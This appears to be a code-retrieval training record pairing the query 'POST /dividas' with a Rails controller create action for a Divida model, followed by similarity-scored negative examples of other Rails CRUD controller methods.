"def show\n @indicacao = Indicacao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @indicacao }\n end\n end",
"def show\n @division = Division.find(params[:id])\n @representatives = DivisionRep.where(:division_id => params[:id])\n @games = Game.where(:division_id => params[:id]).order('start ASC')\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @division }\n end\n end",
"def show\n @sezione = Sezione.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sezione }\n end\n end",
"def show\n @sabio = Sabio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sabio }\n end\n end",
"def show\n @contum = Contum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contum }\n end\n end",
"def show\n @periodo_academico = PeriodoAcademico.find(params[:id])\n\n render json: @periodo_academico\n end",
"def show\n @socio = Socio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @socio }\n end\n end",
"def show\n @clientepedido = Clientepedido.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clientepedido }\n end\n end",
"def index\n @denuncia = Denuncium.all\n\n render json: @denuncia\n end",
"def show\n @coligacao_partido = ColigacaoPartido.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @coligacao_partido }\n end\n end",
"def show\n @sala = Sala.find(params[:id])\n\n render json: @sala, root: \"data\", include: '**', adapter: :json, status: :ok\n end",
"def index\n course = Course.find(params[:course_id])\n sections = course.sections.all\n render json: sections.order(:id)\n end",
"def show\n @combinacion = Combinacion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @combinacion }\n end\n end",
"def show\n @asiento = Asiento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @asiento }\n end\n end",
"def show\n @caixa = Caixa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @caixa }\n end\n end",
"def index\n @acuerdos = Acuerdo.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @acuerdos }\n end\n end",
"def index\n\n if params[:ventas_seguimiento]\n cliente_id = params[:ventas_seguimiento][:cliente_id]\n @ventas_seguimientos = Ventas::Seguimiento.where(\"cliente_id = ?\",cliente_id).order(\"created_at DESC\").paginate(:page => params[:page], :per_page => 5)\n @seguimientos = Ventas::Seguimiento.new(:cliente_id => cliente_id)\n else\n @ventas_seguimientos = Ventas::Seguimiento.order(\"created_at DESC\").paginate(:page => params[:page], :per_page => 5)\n @seguimientos = Ventas::Seguimiento.new\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ventas_seguimientos }\n end\n end",
"def show\n @humanidades2 = Humanidades2.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @humanidades2 }\n end\n end",
"def index\n\n get_collections\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @deities }\n format.js {}\n end\n end",
"def display\n @reservas = Reserva.order(fecha_inicio_estadia: :desc)\n render json: @reservas, include: [:cliente, :habitacion]\n end",
"def index\n @participante_videoconferencia = ParticipanteVideoconferencium.all\n render json: @participante_videoconferencia\n end",
"def show\n @serv_adicionale = ServAdicionale.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @serv_adicionale }\n end\n end",
"def index\n @lbaas = Lbaa.all\n @lbaas = Lbaa.where(:section => 'A').order(\"id\")\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @lbaas }\n end\n end",
"def index\n @ultimo_grado_de_estudios = UltimoGradoDeEstudio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ultimo_grado_de_estudios }\n end\n end",
"def show\n @indicativo = Indicativo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @indicativo }\n end\n end",
"def show\n @coisa = Coisa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @coisa }\n end\n end",
"def index\n @disciplines = Discipline.all\n #respond_to do |format|\n # format.json { render json: @disciplines, status: :ok }\n #end\n #render json: @disciplines, status: :ok\n respond_with @disciplines\n end",
"def show\n @cegonha = Cegonha.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cegonha }\n end\n end",
"def show\n @corgi = Corgi.find(params[:id])\n respond_to do |format|\n format.html \n format.json { render json: @corgi }\n end \n end",
"def show\n @agronomiaquimica = Agronomiaquimica.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @agronomiaquimica }\n end\n end"
] |
[
"0.6938535",
"0.66453755",
"0.661861",
"0.6591345",
"0.65346754",
"0.65327233",
"0.64870656",
"0.64774007",
"0.64741576",
"0.6451815",
"0.64309627",
"0.64295554",
"0.64252824",
"0.6397183",
"0.63908565",
"0.6383635",
"0.6382955",
"0.6367887",
"0.6366933",
"0.63666564",
"0.6356577",
"0.63518274",
"0.6350833",
"0.63496375",
"0.63491505",
"0.6335907",
"0.6330661",
"0.63176477",
"0.63027865",
"0.62949425",
"0.62940687",
"0.6288198",
"0.62802714",
"0.6279748",
"0.6275626",
"0.6272753",
"0.62616783",
"0.6259263",
"0.62557447",
"0.625273",
"0.6245782",
"0.62453276",
"0.62356263",
"0.6231871",
"0.6229587",
"0.6228134",
"0.6219946",
"0.6212998",
"0.6212998",
"0.621192",
"0.6206651",
"0.620296",
"0.62009424",
"0.6196033",
"0.6192034",
"0.61913025",
"0.6184825",
"0.61844814",
"0.61834717",
"0.6182588",
"0.6179203",
"0.617541",
"0.6173437",
"0.61729234",
"0.6172172",
"0.61709803",
"0.61695266",
"0.61683124",
"0.6167662",
"0.61668116",
"0.6166116",
"0.6166068",
"0.6162022",
"0.6158008",
"0.61536515",
"0.6149896",
"0.6144039",
"0.61402595",
"0.61342907",
"0.61314505",
"0.61313844",
"0.6130809",
"0.6127525",
"0.6127491",
"0.61271626",
"0.6125209",
"0.6123877",
"0.6123855",
"0.6123221",
"0.6121524",
"0.61202383",
"0.6119451",
"0.6119314",
"0.61191267",
"0.61177313",
"0.6117587",
"0.6115401",
"0.6115175",
"0.61137944",
"0.6113521",
"0.6104425"
] |
0.0
|
-1
|
GET /dividas/1 GET /dividas/1.json
|
def show
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show\n @veiculo = Veiculo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @veiculo }\n end\n end",
"def show\n @servicio = Servicio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @servicio }\n end\n end",
"def show\n @competicao = Competicao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @competicao }\n end\n end",
"def index\n @dividas = Divida.all\n end",
"def show\n @humanidades1 = Humanidades1.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @humanidades1 }\n end\n end",
"def show\n @colegio = Colegio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @colegio }\n end\n end",
"def show\n @seguro = Seguro.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @seguro }\n end\n end",
"def show\n @sitio = Sitio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sitio }\n end\n end",
"def show\n @cso = Cso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cso }\n end\n end",
"def show\n @venta = Venta.find(params[:id])\n\n @domicilios = Domicilio.where(usuario_id: @venta.usuario.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @venta }\n end\n end",
"def show\n @humanidades3 = Humanidades3.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @humanidades3 }\n end\n end",
"def show\n @tipo_convenio = TipoConvenio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_convenio }\n end\n end",
"def show\n @sitio_entrega = SitioEntrega.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sitio_entrega }\n end\n end",
"def show\n @contum = Contum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contum }\n end\n end",
"def show\n @recurso = Recurso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recurso }\n end\n end",
"def show\n @humanidades2 = Humanidades2.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @humanidades2 }\n end\n end",
"def show\n @respuesta = Respuesta.find(params[:id])\n\n render json: @respuesta\n end",
"def show\n @ventas_seguimiento = Ventas::Seguimiento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ventas_seguimiento }\n end\n end",
"def show\n @division = Division.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @division }\n end\n end",
"def show\n @sezione = Sezione.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sezione }\n end\n end",
"def show\n @colegiatura = Colegiatura.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @colegiatura }\n end\n end",
"def show\n @requerimiento ||= Requerimiento.where(:numero => params[:id]).first\n @areas = Area.where(\" nombre like '%DIT%' \")\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @requerimiento }\n end\n end",
"def show\n @indicacao = Indicacao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @indicacao }\n end\n end",
"def show\n @indicativo = Indicativo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @indicativo }\n end\n end",
"def show\n @dependencia = Dependencia.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @dependencia }\n end\n end",
"def show\n @sabio = Sabio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sabio }\n end\n end",
"def show\n @lista_contato = ListaContato.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lista_contato }\n end\n end",
"def show\n @solicitud_servicio = SolicitudServicio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @solicitud_servicio }\n end\n end",
"def show\n @socio = Socio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @socio }\n end\n end",
"def show\n @selecao = Selecao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @selecao }\n end\n end",
"def show\n @inscrito = Inscrito.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @inscrito }\n end\n end",
"def show\n @cliente = Cliente.find(params[:cliente_id])\n @pago = @cliente.pagos.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pago }\n end\n end",
"def show\n @comentario = Comentario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @comentario }\n end\n end",
"def show\n @comentario = Comentario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @comentario }\n end\n end",
"def index\n @socios = Socio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @socios }\n end\n end",
"def show\n @calificacion_servicio = CalificacionServicio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @calificacion_servicio }\n end\n end",
"def show\n @conta = Conta.find(params[:id])\n respond_to do |format|\n format.html { render :show }\n format.json { render json: @conta, :include => {\n :movimentos => {\n :include => [:nota, :pessoa],\n :methods => [:favorecido],\n :except => [:created_at, :updated_at]\n }\n },\n :methods => [:saldo]\n }\n end\n end",
"def show\n @caixa = Caixa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @caixa }\n end\n end",
"def show\n @corgi = Corgi.find(params[:id])\n respond_to do |format|\n format.html \n format.json { render json: @corgi }\n end \n end",
"def show\n @socio = Socio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @socio }\n end\n end",
"def show\n @sistema = Sistema.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sistema }\n end\n end",
"def show\n @concurso = Concurso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @concurso }\n end\n end",
"def show\n @coisa = Coisa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @coisa }\n end\n end",
"def show\n @consumo = Consumo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @consumo }\n end\n end",
"def show\n @serv_adicionale = ServAdicionale.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @serv_adicionale }\n end\n end",
"def show\n @instituicao = Instituicao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @instituicao }\n end\n end",
"def index\n @subcategorias = Subcategoria.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @subcategorias }\n end\n end",
"def show\n @idiom = Idiom.find(params[:id])\n @essays = Essay.where(idiom_id: params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @idiom }\n end\n end",
"def index\n @categorias = Categoria.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @categorias }\n end\n end",
"def show\n @plato = Plato.find(params[:id])\n\n if !@plato.comentario.first.nil?\n render json: @plato.as_json(only: [:id, :nombre, :precio, :categoria, :tipo, :calificaciones, :total, :soda_id], include: [comentario:{only: [:id]}])\n else\n render json: @plato.as_json(only: [:id, :nombre, :precio, :categoria, :tipo, :calificaciones, :total, :soda_id])\n end\n end",
"def show\n @tipo_vehiculo = TipoVehiculo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_vehiculo }\n end\n end",
"def show\n @categorialivro = Categorialivro.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @categorialivro }\n end\n end",
"def show\n @agronomiaquimica = Agronomiaquimica.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @agronomiaquimica }\n end\n end",
"def index\n @contas = Conta.all\n respond_to do |format|\n format.json { render json: @contas.to_json, status: :ok }\n end\n end",
"def show\n @ejercicio = Ejercicio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ejercicio }\n end\n end",
"def show\n @combinacion = Combinacion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @combinacion }\n end\n end",
"def show\n @articulo = Articulo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @articulo }\n end\n end",
"def show\n @articulo = Articulo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @articulo }\n end\n end",
"def show\n @articulo = Articulo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @articulo }\n end\n end",
"def show\r\n @asistencia = Asistencia.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @asistencia }\r\n end\r\n end",
"def show\n @cegonha = Cegonha.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cegonha }\n end\n end",
"def show\n @coligacao_partido = ColigacaoPartido.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @coligacao_partido }\n end\n end",
"def show\n @leito = Leito.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @leito }\n end\n end",
"def show\n @contacter = Contacter.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contacter }\n end\n end",
"def index\n @divisions = Division.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @divisions }\n end\n end",
"def show\n @respuesta = Respuesta.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @respuesta }\n end\n end",
"def show\n @periodo_academico = PeriodoAcademico.find(params[:id])\n\n render json: @periodo_academico\n end",
"def show\n @asiento = Asiento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @asiento }\n end\n end",
"def index\n @colegios = Colegio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @colegios }\n end\n end",
"def show\n @asociado = Asociado.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @asociado }\n end\n end",
"def show\n @seguidore = Seguidore.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @seguidore }\n end\n end",
"def index\n @diciplinas = Diciplina.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @diciplinas }\n end\n end",
"def show\n @clientepedido = Clientepedido.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clientepedido }\n end\n end",
"def show\n\tadd_breadcrumb \"Datos del libro\", :libro_path\n @libro = Libro.find(params[:id])\n\t\t\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @libro }\n end\n end",
"def show\n @observacao_vocacionada = ObservacaoVocacionada.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @observacao_vocacionada }\n end\n end",
"def consulta\n fiesta = Fiesta.all\n render json: fiesta\n end",
"def show\n @comic = Comic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @comic }\n end\n end",
"def show\n @comic = Comic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @comic }\n end\n end",
"def show\n @calificacion = Calificacion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @calificacion }\n end\n end",
"def show\n @calificacion = Calificacion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @calificacion }\n end\n end",
"def show\n @calificacion = Calificacion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @calificacion }\n end\n end",
"def show\n @mixproducto = Mixproducto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mixproducto }\n end\n end",
"def index\n @instituicoes = Instituicao.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @instituicoes }\n end\n end",
"def index\n @tipo_denuncia = TipoDenuncium.all\n\n render json: @tipo_denuncia\n end",
"def show\n @osoba = Osoba.find(params[:id])\n\n render json: @osoba\n end",
"def index\n @cooperativas = Cooperativa.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @cooperativas }\n end\n end",
"def show\n @ginasio = Ginasio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @ginasio }\n end\n end",
"def show\n @division = Division.find(params[:id])\n @representatives = DivisionRep.where(:division_id => params[:id])\n @games = Game.where(:division_id => params[:id]).order('start ASC')\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @division }\n end\n end",
"def show\n @horas_disponible = HorasDisponible.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @horas_disponible }\n end\n end",
"def show\n @incucai = Incucai.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @incucai }\n end\n end",
"def show\n @sugerencia = Sugerencia.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @sugerencia }\n end\n end",
"def show\n @control_asistencia = ControlAsistencia.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @control_asistencia }\n end\n end",
"def show\n @chaine = Chaine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @chaine }\n end\n end",
"def show\n @cita = Cita.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cita }\n end\n end",
"def show\n @bico = Bico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bico }\n end\n end",
"def show\n @historial = Historial.find(params[:id])\n @receta = Recete.histori(@historial.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @historial }\n end\n end",
"def show\n @caballo = Caballo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @caballo }\n end\n end",
"def show\n @dato = Dato.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @dato }\n end\n end",
"def show\n @apuesta_detail = ApuestaDetail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @apuesta_detail }\n end\n end",
"def show\n @tecnico = Tecnico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tecnico }\n end\n end",
"def show\n @tecnico = Tecnico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tecnico }\n end\n end"
] |
[
"0.67898035",
"0.67681885",
"0.6719024",
"0.6715985",
"0.67148983",
"0.6679437",
"0.6660912",
"0.6654598",
"0.66535175",
"0.6638433",
"0.6635148",
"0.66007847",
"0.6595203",
"0.6582729",
"0.6579822",
"0.6578053",
"0.65778506",
"0.6565468",
"0.6548008",
"0.65478104",
"0.65321374",
"0.6529738",
"0.6521095",
"0.6504049",
"0.6503568",
"0.65025854",
"0.65001523",
"0.64956117",
"0.64819986",
"0.64782",
"0.64756644",
"0.64718425",
"0.64684397",
"0.64684397",
"0.64664745",
"0.6461571",
"0.64558154",
"0.64446664",
"0.643537",
"0.64353436",
"0.64320624",
"0.643191",
"0.6431553",
"0.64297044",
"0.64285517",
"0.6425449",
"0.64254427",
"0.64247316",
"0.6417753",
"0.641112",
"0.6403544",
"0.64030695",
"0.64014816",
"0.63993317",
"0.63935024",
"0.6389692",
"0.63842636",
"0.63842636",
"0.63842636",
"0.6381354",
"0.6380876",
"0.6375687",
"0.63674194",
"0.6367241",
"0.63662434",
"0.6342403",
"0.634104",
"0.6334589",
"0.63339496",
"0.6331913",
"0.6331026",
"0.6330109",
"0.6327527",
"0.63273454",
"0.6325349",
"0.6324838",
"0.63164175",
"0.63164175",
"0.6311868",
"0.6311868",
"0.6311868",
"0.6310885",
"0.63101226",
"0.6309195",
"0.6309079",
"0.6302838",
"0.6302334",
"0.62971675",
"0.62947655",
"0.62910557",
"0.62843335",
"0.6274726",
"0.6273623",
"0.62721574",
"0.6269189",
"0.6268879",
"0.6261743",
"0.6260114",
"0.62584454",
"0.6254974",
"0.6254974"
] |
0.0
|
-1
|
POST /dividas POST /dividas.json
|
def create
@divida = Divida.new(divida_params)
respond_to do |format|
if @divida.save
format.html { redirect_to @divida, notice: 'Divida was successfully created.' }
format.json { render :show, status: :created, location: @divida }
else
format.html { render :new }
format.json { render json: @divida.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def dividendo_params\n params.require(:dividendo).permit(:competencia, :descricao, :pago, :valor, :data_vencimento, :categoria_id)\n end",
"def create\n @divisa = Divisa.new(divisa_params)\n\n respond_to do |format|\n if @divisa.save\n format.html { redirect_to @divisa, notice: 'Divisa was successfully created.' }\n format.json { render :show, status: :created, location: @divisa }\n else\n format.html { render :new }\n format.json { render json: @divisa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @dividendo = Dividendo.new(dividendo_params)\n @dividendo.competencia = Date.parse(params[:dividendo][:competencia])\n @dividendo.user = current_user\n @dividendo.pago = false\n\n respond_to do |format|\n if @dividendo.save\n format.html { redirect_to dividendos_path, notice: 'Dividendo was successfully created.' }\n format.json { render :show, status: :created, location: @dividendo }\n else\n format.html { render :new }\n format.json { render json: @dividendo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n if params[:get]\n @plato = Plato.where(\"soda_id = ?\", params[:soda_id])\n\n #if !@plato.comentario.first.nil?\n # render json: @plato.as_json(only: [:id, :nombre, :precio, :categoria, :tipo, :calificaciones, :total, :soda_id], include: [comentario:{only: [:id]}])\n #else\n render json: @plato.as_json(only: [:id, :nombre, :precio, :categoria, :tipo, :calificaciones, :total, :soda_id])\n #end\n\n else\n @plato = Plato.new(plato_params)\n\n if @plato.save\n render json: @plato, status: :created, location: @plato\n else\n render json: @plato.errors, status: :unprocessable_entity\n end\n end\n\n end",
"def create\n divesite = Divesites.new(divesite_params)\n if divesite.save\n render json: divesite\n else\n render json: {message: divesite.errors}, status: 400\n end\n end",
"def create\n @cio = Cio.new(cio_params)\n\n respond_to do |format|\n if @cio.save\n format.html { redirect_to @cio, notice: 'Cio cadastrado com sucesso.' }\n format.json { render :show, status: :created, location: @cio }\n else\n format.html { render :new }\n format.json { render json: @cio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def creacion\n fiesta = Fiesta.new (params[:id])\n if Fiesta.save\n puts \"su fiesta a sido registrada\"\n else \n puts \"su fiesta no a sido registrada\"\n end\n render = json: fiesta \n end",
"def create\n params.permit(:intitule, :estObligatoire, :nombreDeCaractere, :ordre, :sondage_id)\n ajout = QuestionOuverteService.instance.creerQuestionOuverte(params[:intitule], params[:estObligatoire], params[:nombreDeCaractere], params[:ordre], params[:sondage_id])\n (ajout != nil) ? (render json: ajout, status: :ok) : (render json: nil, status: :not_found)\n end",
"def create\n @dividend = Dividend.new(dividend_params)\n\n respond_to do |format|\n if @dividend.save\n format.html { redirect_to @dividend, notice: 'Dividend was successfully created.' }\n format.json { render :show, status: :created, location: @dividend }\n else\n format.html { render :new }\n format.json { render json: @dividend.errors, status: :unprocessable_entity }\n end\n end\n end",
"def divida_params\n params.require(:divida).permit(:empresa_id, :cliente_id, :valor, :flag)\n end",
"def create\n @respuesta = Respuesta.new(params[:respuesta])\n\n if @respuesta.save\n render json: @respuesta, status: :created, location: @respuesta\n else\n render json: @respuesta.errors, status: :unprocessable_entity\n end\n end",
"def create\n @socio = Socio.new(params[:socio])\n\n respond_to do |format|\n if @socio.save\n format.html { redirect_to @socio, :notice => 'Socio cadastrado com sucesso.' }\n format.json { render :json => @socio, :status => :created, :location => @socio }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @socio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n\n client = Cliente.new\n\n client.nombre = params[:nombre]\n client.cedula = params[:cedula]\n client.pagina = params[:pagina]\n\n client.dirrecion = params[:dirrecion]\n client.telefono = params[:telefono]\n \n client.sector = params[:sector]\n \n\n if client.save\n \n\n render(json: client,status: 201 ,location: client)\n else\n\n render(json: client.errors,status: 422 )\n\n end\n end",
"def create\n @dia_evento = DiaEvento.new(dia_evento_params)\n\n if @dia_evento.save\n render json: @dia_evento, status: :created, location: @dia_evento\n else\n render json: @dia_evento.errors, status: :unprocessable_entity\n end\n end",
"def create\n @veiculo = Veiculo.new(params[:veiculo])\n\n respond_to do |format|\n if @veiculo.save\n format.html { redirect_to @veiculo, :notice => 'Veiculo was successfully created.' }\n format.json { render :json => @veiculo, :status => :created, :location => @veiculo }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @veiculo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n params.permit(:id_groupe, :id_question)\n ajout = GroupeService.instance.ajouterQuestion(params[:id_groupe], params[:id_question])\n (ajout != nil) ? (render json: ajout, status: :ok) : (render json: nil, status: :not_found)\n end",
"def create \n pai = params[:pai] ? Conta.find_by_id(params[:pai]): nil\n @conta = Conta.new(nome: params[:nome], status: params[:status])\n @conta.pai = pai\n @conta.data_criacao = Time.now\n \n respond_to do |format|\n if @conta.save\n #format.html { redirect_to @conta, notice: 'Conta was successfully created.' }\n #format.json { render :show, status: :created, location: @conta }\n format.json { render json: @conta.to_json, status: :created }\n #@conta.to_json\n else\n #format.html { render :new }\n format.json { render json: @conta.errors, status: :unprocessable_entity } \n end\n end\n end",
"def create\n @inventario_cosa = InventarioCosa.new(inventario_cosa_params)\n\n respond_to do |format|\n if @inventario_cosa.save\n format.html { redirect_to @inventario_cosa, notice: 'Inventario cosa was successfully created.' }\n format.json { render :show, status: :created, location: @inventario_cosa }\n else\n format.html { render :new }\n format.json { render json: @inventario_cosa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n client= Client.new\n client.cedula= params[:cedula]\n client.sector= params[:sector]\n client.nombre= params[:nombre]\n client.telefono= params[:telefono]\n client.pagina= params[:pagina]\n client.direccion= params[:direccion]\n if client.save\n render(json: client, status: 201 , location: client)\n else \n render(json: client.errors, status: 422)\n end\n end",
"def create\n\n respond_to do |format|\n if @divpa.save\n format.html { redirect_to @divpa, notice: 'Municipio creado exitosamente.' }\n format.json { render :show, status: :created, location: @divpa }\n else\n format.html { render :new }\n format.json { render json: @divpa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @servicio = Servicio.new(params[:servicio])\n\n respond_to do |format|\n if @servicio.save\n format.html { redirect_to @servicio, :notice => 'Servicio was successfully created.' }\n format.json { render :json => @servicio, :status => :created, :location => @servicio }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @servicio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create_division\n \t@division = @company.divisions.create(name: params[:division][:name])\n respond_to do |format|\n format.json { render json: @division }\n end\n end",
